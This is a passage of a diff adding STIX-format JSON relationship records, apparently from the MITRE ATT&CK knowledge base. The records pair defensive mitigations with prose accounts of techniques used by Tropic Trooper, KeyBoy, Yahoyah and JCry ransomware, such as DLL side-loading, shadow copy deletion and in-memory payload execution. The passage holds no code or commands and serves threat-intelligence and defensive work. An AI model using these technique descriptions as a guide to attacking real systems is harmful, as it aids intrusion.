"attack-pattern--d21a2069-23d5-4043-ad6d-64f6b644cb1a", + "description": "Consider using application whitelisting to prevent execution of hh.exe if it is not required for a given system or network to prevent potential misuse by adversaries.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-14T17:07:30.326Z", + "id": "relationship--e1fdde42-ef04-4b41-a7ba-1f268be9b0fe", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "modified": "2019-07-16T20:59:56.058Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific C2 protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-14T17:11:30.497Z", + "id": "relationship--d50b5687-ea69-40f9-86f3-eecd7e015bac", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "modified": "2019-07-08T21:11:18.486Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8df54627-376c-487c-a09c-7d2b5620f56e", + "description": "Restrict storage and execution of Control Panel items to protected directories, such as C:\\Windows, rather than user directories.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-14T17:13:57.525Z", + "id": "relationship--ef0d2f85-5b7f-45b5-b78f-fcf95a6a2fbf", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "modified": "2019-07-16T21:10:28.536Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67", + "description": "Do not allow domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-14T17:17:06.978Z", + "id": "relationship--b465fe54-83e6-4d1c-b752-d13bb788c3ac", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "modified": "2019-10-18T18:48:45.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67", + "description": "Configure access controls and firewalls to limit access to domain controllers and systems used to create and manage accounts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-14T17:17:06.995Z", + "id": "relationship--26099ea8-5af8-4173-b70d-b32bbcbe0732", + "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", + "modified": "2019-10-18T18:48:45.047Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67", + "description": "Use multi-factor authentication for user and privileged accounts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-14T17:17:07.003Z", + "id": "relationship--a3012b2b-b19c-46fc-944c-d04d9c4b897b", + "source_ref": "course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0", + "modified": "2019-10-18T18:48:45.053Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "Windows:\nDo not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers.\n\nLinux:\nScraping the passwords from memory requires root privileges. Follow best practices in restricting access to privileged accounts to avoid hostile programs from accessing such sensitive regions of memory.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-14T17:21:38.567Z", + "id": "relationship--a266294c-18a7-4a6e-8291-a901748c929c", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "modified": "2019-10-11T12:49:34.499Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Microsoft Securing Privileged Access", + "description": "Plett, C., Poggemeyer, L. (12, October 26). Securing Privileged Access Reference Material. Retrieved April 25, 2017.", + "url": "https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material#a-nameesaebmaesae-administrative-forest-design-approach" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "Ensure that local administrator accounts have complex, unique passwords across all systems on the network.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-14T17:21:38.582Z", + "id": "relationship--7a3426bf-1751-43db-b844-6bf388a4c817", + "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", + "modified": "2019-10-11T12:49:34.496Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "With Windows 10, Microsoft implemented new protections called Credential Guard to protect the LSA secrets that can be used to obtain credentials through forms of credential dumping. It is not configured by default and has hardware and firmware system requirements. It also does not protect against all forms of credential dumping.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-14T17:21:38.632Z", + "id": "relationship--ee8ef62a-fcde-44b0-aa63-4028dad703aa", + "source_ref": "course-of-action--49c06d54-9002-491d-9147-8efb537fbd26", + "modified": "2019-10-11T12:49:34.541Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "TechNet Credential Guard", + "description": "Lich, B. (2016, May 31). Protect derived domain credentials with Credential Guard. Retrieved June 1, 2016.", + "url": "https://technet.microsoft.com/en-us/itpro/windows/keep-secure/credential-guard" + }, + { + "description": "NSA IAD. (2017, April 20). Secure Host Baseline - Credential Guard. Retrieved April 25, 2017.", + "source_name": "GitHub SHB Credential Guard", + "url": "https://github.com/iadgov/Secure-Host-Baseline/tree/master/Credential%20Guard" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c", + "description": "Remove vulnerable Group Policy Preferences.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-14T17:23:38.902Z", + "id": "relationship--cf828aff-2e43-491b-a4d7-4cec93e193cd", + "source_ref": "course-of-action--e3388c78-2a8d-47c2-8422-c1398b324462", + "modified": "2019-10-08T19:24:28.981Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Microsoft MS14-025", + "description": "Microsoft. (2014, May 13). MS14-025: Vulnerability in Group Policy Preferences could allow elevation of privilege. Retrieved January 28, 2015.", + "url": "http://support.microsoft.com/kb/2962486" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2edd9d6a-5674-4326-a600-ba56de467286", + "description": "Proactively search for credentials within the Registry and attempt to remediate the risk.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-14T17:25:16.733Z", + "id": "relationship--ac5925be-217e-4c88-815d-1a7098db548f", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "modified": "2019-07-17T16:02:42.992Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00", + "description": "Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports and through proper network gateway systems. Also ensure hosts are only provisioned to communicate over authorized interfaces.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-14T17:27:00.773Z", + "id": "relationship--4a8ad303-7a40-4396-8553-daef264dac71", + "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", + "modified": "2019-07-17T18:20:50.675Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-14T17:27:00.791Z", + "id": "relationship--82f1fa31-c796-474d-a58a-5ea8250a3118", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "modified": "2019-07-17T18:20:50.682Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Since the custom protocol used may not adhere to typical protocol standards, there may be opportunities to signature the traffic on a network level for detection. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-14T17:31:50.923Z", + "id": "relationship--ff5fc448-b344-457f-a243-f7ce2911816e", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "modified": "2019-06-14T17:31:50.923Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "description": "Network intrusion prevention or data loss prevention tools may be set to block specific file types from leaving the network over unencrypted channels. An adversary may move to an encrypted channel or use other mechanisms of encapsulating the traffic in these situations.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-14T17:33:50.544Z", + "id": "relationship--36a41a30-61ce-4c55-9916-0a572dfe6d36", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "modified": "2019-07-17T18:24:51.940Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-14T17:35:11.286Z", + "id": "relationship--1e2075a3-5271-4ebf-aa9b-6a09ea985b76", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "modified": "2019-06-14T17:35:11.286Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09", + "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) has been known to side-load DLLs using a valid version of Windows Address Book executable with one of their tools.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-17T18:43:35.376Z", + "id": "relationship--77dbc1ae-556e-43cd-b776-c7670ab5c915", + "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924", + "modified": "2019-06-30T22:44:28.310Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "CitizenLab KeyBoy Nov 2016", + "description": "Hulcoop, A., et al. (2016, November 17). It\u2019s Parliamentary KeyBoy and the targeting of the Tibetan Community. Retrieved June 13, 2019.", + "url": "https://citizenlab.ca/2016/11/parliament-keyboy/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88", + "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) used pr to scan for open ports on target systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-17T18:43:35.392Z", + "id": "relationship--5929ef3e-3945-4ede-b3cd-94f47850a6bd", + "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924", + "modified": "2019-06-30T22:44:28.307Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "TrendMicro TropicTrooper 2015", + "description": "Alintanahin, K. (2015). Operation Tropic Trooper: Relying on Tried-and-Tested Flaws to Infiltrate Secret Keepers. Retrieved June 14, 2019.", + "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-tropic-trooper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", + "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) used netview to scan target systems for shared resources.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-17T18:43:35.447Z", + "id": "relationship--c4f4fe39-af57-47d3-8428-fe5bce63bdbb", + "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924", + "modified": "2019-06-30T22:44:28.340Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "TrendMicro TropicTrooper 2015", + "description": "Alintanahin, K. (2015). Operation Tropic Trooper: Relying on Tried-and-Tested Flaws to Infiltrate Secret Keepers. Retrieved June 14, 2019.", + "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-tropic-trooper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) has detected a target system\u2019s OS version.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-17T18:43:35.470Z", + "id": "relationship--eba2ecc5-b383-4cbb-93f9-9cef81cd016b", + "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924", + "modified": "2019-06-30T22:44:28.338Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "TrendMicro TropicTrooper 2015", + "description": "Alintanahin, K. (2015). Operation Tropic Trooper: Relying on Tried-and-Tested Flaws to Infiltrate Secret Keepers. Retrieved June 14, 2019.", + "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-tropic-trooper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) used letmein to scan for saved usernames on the target system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-17T18:43:35.472Z", + "id": "relationship--58a7f0d9-7c20-4808-b8be-bd6240267030", + "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924", + "modified": "2019-06-30T22:44:28.342Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "TrendMicro TropicTrooper 2015", + "description": "Alintanahin, K. (2015). Operation Tropic Trooper: Relying on Tried-and-Tested Flaws to Infiltrate Secret Keepers. Retrieved June 14, 2019.", + "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-tropic-trooper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "In one version of [KeyBoy](https://attack.mitre.org/software/S0387), string obfuscation routines were used to hide many of the critical values referenced in the malware.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-17T18:44:58.870Z", + "id": "relationship--7a9deb99-21d7-45e3-bebc-fbab668690f1", + "source_ref": "malware--5dd649c0-bca4-488b-bd85-b180474ec62e", + "modified": "2019-06-30T22:48:21.905Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "CitizenLab KeyBoy Nov 2016", + "description": "Hulcoop, A., et al. (2016, November 17). It\u2019s Parliamentary KeyBoy and the targeting of the Tibetan Community. Retrieved June 13, 2019.", + "url": "https://citizenlab.ca/2016/11/parliament-keyboy/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[Yahoyah](https://attack.mitre.org/software/S0388) encrypts its configuration file using a simple algorithm.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-17T18:49:30.420Z", + "id": "relationship--93b3993d-0345-434e-9b0a-4dfd8efa6c99", + "source_ref": "malware--cb444a16-3ea5-4a91-88c6-f329adcb8af3", + "modified": "2019-06-30T22:50:18.712Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Alintanahin, K. (2015). Operation Tropic Trooper: Relying on Tried-and-Tested Flaws to Infiltrate Secret Keepers. Retrieved June 14, 2019.", + "source_name": "TrendMicro TropicTrooper 2015", + "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-tropic-trooper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "description": "[Yahoyah](https://attack.mitre.org/software/S0388) decrypts downloaded files before execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-17T18:49:30.430Z", + "id": "relationship--74e1dbd9-baad-488f-9b30-4430420e15d3", + "source_ref": "malware--cb444a16-3ea5-4a91-88c6-f329adcb8af3", + "modified": "2019-06-30T22:50:18.730Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Alintanahin, K. (2015). Operation Tropic Trooper: Relying on Tried-and-Tested Flaws to Infiltrate Secret Keepers. Retrieved June 14, 2019.", + "source_name": "TrendMicro TropicTrooper 2015", + "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-tropic-trooper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[Yahoyah](https://attack.mitre.org/software/S0388) checks for the system\u2019s Windows OS version and hostname.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-17T18:49:30.438Z", + "id": "relationship--01c60a20-2eff-4b4e-a15a-24e56a487b4e", + "source_ref": "malware--cb444a16-3ea5-4a91-88c6-f329adcb8af3", + "modified": "2019-06-30T22:50:18.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Alintanahin, K. (2015). Operation Tropic Trooper: Relying on Tried-and-Tested Flaws to Infiltrate Secret Keepers. Retrieved June 14, 2019.", + "source_name": "TrendMicro TropicTrooper 2015", + "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-tropic-trooper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7", + "description": "[Yahoyah](https://attack.mitre.org/software/S0388) checks for antimalware solution processes on the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-17T18:49:30.445Z", + "id": "relationship--618d4835-6022-46df-bee1-38fcb97ffb91", + "source_ref": "malware--cb444a16-3ea5-4a91-88c6-f329adcb8af3", + "modified": "2019-06-30T22:50:18.753Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Alintanahin, K. (2015). Operation Tropic Trooper: Relying on Tried-and-Tested Flaws to Infiltrate Secret Keepers. Retrieved June 14, 2019.", + "source_name": "TrendMicro TropicTrooper 2015", + "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-tropic-trooper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[Yahoyah](https://attack.mitre.org/software/S0388) uses HTTP GET requests to download other files that are executed in memory.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-17T18:49:30.452Z", + "id": "relationship--1729ebeb-c92c-4d8e-a859-0d081b3821a1", + "source_ref": "malware--cb444a16-3ea5-4a91-88c6-f329adcb8af3", + "modified": "2019-06-30T22:50:18.762Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Alintanahin, K. (2015). Operation Tropic Trooper: Relying on Tried-and-Tested Flaws to Infiltrate Secret Keepers. Retrieved June 14, 2019.", + "source_name": "TrendMicro TropicTrooper 2015", + "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-tropic-trooper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--5dd649c0-bca4-488b-bd85-b180474ec62e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-17T18:59:18.525Z", + "id": "relationship--ef2cc3f0-b44f-4f56-ba46-45e736ce0e90", + "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924", + "modified": "2019-06-30T22:44:28.370Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit 42 Tropic Trooper Nov 2016", + "description": "Ray, V. (2016, November 22). Tropic Trooper Targets Taiwanese Government and Fossil Fuel Provider With Poison Ivy. Retrieved November 9, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/" + }, + { + "description": "Alexander, G., et al. (2018, August 8). Familiar Feeling: A Malware Campaign Targeting the Tibetan Diaspora Resurfaces. Retrieved June 17, 2019.", + "source_name": "CitizenLab Tropic Trooper Aug 2018", + "url": "https://citizenlab.ca/2018/08/familiar-feeling-a-malware-campaign-targeting-the-tibetan-diaspora-resurfaces/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--cb444a16-3ea5-4a91-88c6-f329adcb8af3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-17T18:59:18.534Z", + "id": "relationship--e4ccb68f-5c52-4805-88d0-14d87268e562", + "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924", + "modified": "2019-06-30T22:44:28.372Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "TrendMicro TropicTrooper 2015", + "description": "Alintanahin, K. (2015). Operation Tropic Trooper: Relying on Tried-and-Tested Flaws to Infiltrate Secret Keepers. Retrieved June 14, 2019.", + "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-tropic-trooper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790", + "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) installs a service pointing to a malicious DLL dropped to disk.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-17T19:35:16.095Z", + "id": "relationship--03fcc016-f9a2-491d-8d9f-92aa4b4c4d4a", + "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924", + "modified": "2019-06-30T22:44:28.367Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "PWC KeyBoys Feb 2017", + "description": "Parys, B. (2017, February 11). The KeyBoys are back in town. Retrieved June 13, 2019.", + "url": "https://www.pwc.co.uk/issues/cyber-security-data-privacy/research/the-keyboys-are-back-in-town.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", + "description": "[JCry](https://attack.mitre.org/software/S0389) has been observed deleting shadow copies to ensure that data cannot be restored easily.\t", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-18T17:20:43.730Z", + "id": "relationship--f0c94372-2818-46ff-899c-0c57fe0af46a", + "source_ref": "malware--aaf3fa65-8b27-4e68-91de-2b7738fe4c82", + "modified": "2019-06-30T23:03:26.090Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lee, S.. (2019, May 14). JCry Ransomware. Retrieved June 18, 2019.", + "source_name": "Carbon Black JCry May 2019", + "url": "https://www.carbonblack.com/2019/05/14/cb-tau-threat-intelligence-notification-jcry-ransomware-pretends-to-be-adobe-flash-player-update-installer/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "description": "[JCry](https://attack.mitre.org/software/S0389) has used PowerShell to execute payloads.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-18T17:20:43.750Z", + "id": "relationship--398a5e5a-b624-4992-b26c-2abb37c9c2db", + "source_ref": "malware--aaf3fa65-8b27-4e68-91de-2b7738fe4c82", + "modified": "2019-06-30T23:03:26.110Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lee, S.. (2019, May 14). JCry Ransomware. Retrieved June 18, 2019.", + "source_name": "Carbon Black JCry May 2019", + "url": "https://www.carbonblack.com/2019/05/14/cb-tau-threat-intelligence-notification-jcry-ransomware-pretends-to-be-adobe-flash-player-update-installer/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[JCry](https://attack.mitre.org/software/S0389) has used cmd.exe to launch PowerShell.\t", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-18T17:20:43.752Z", + "id": 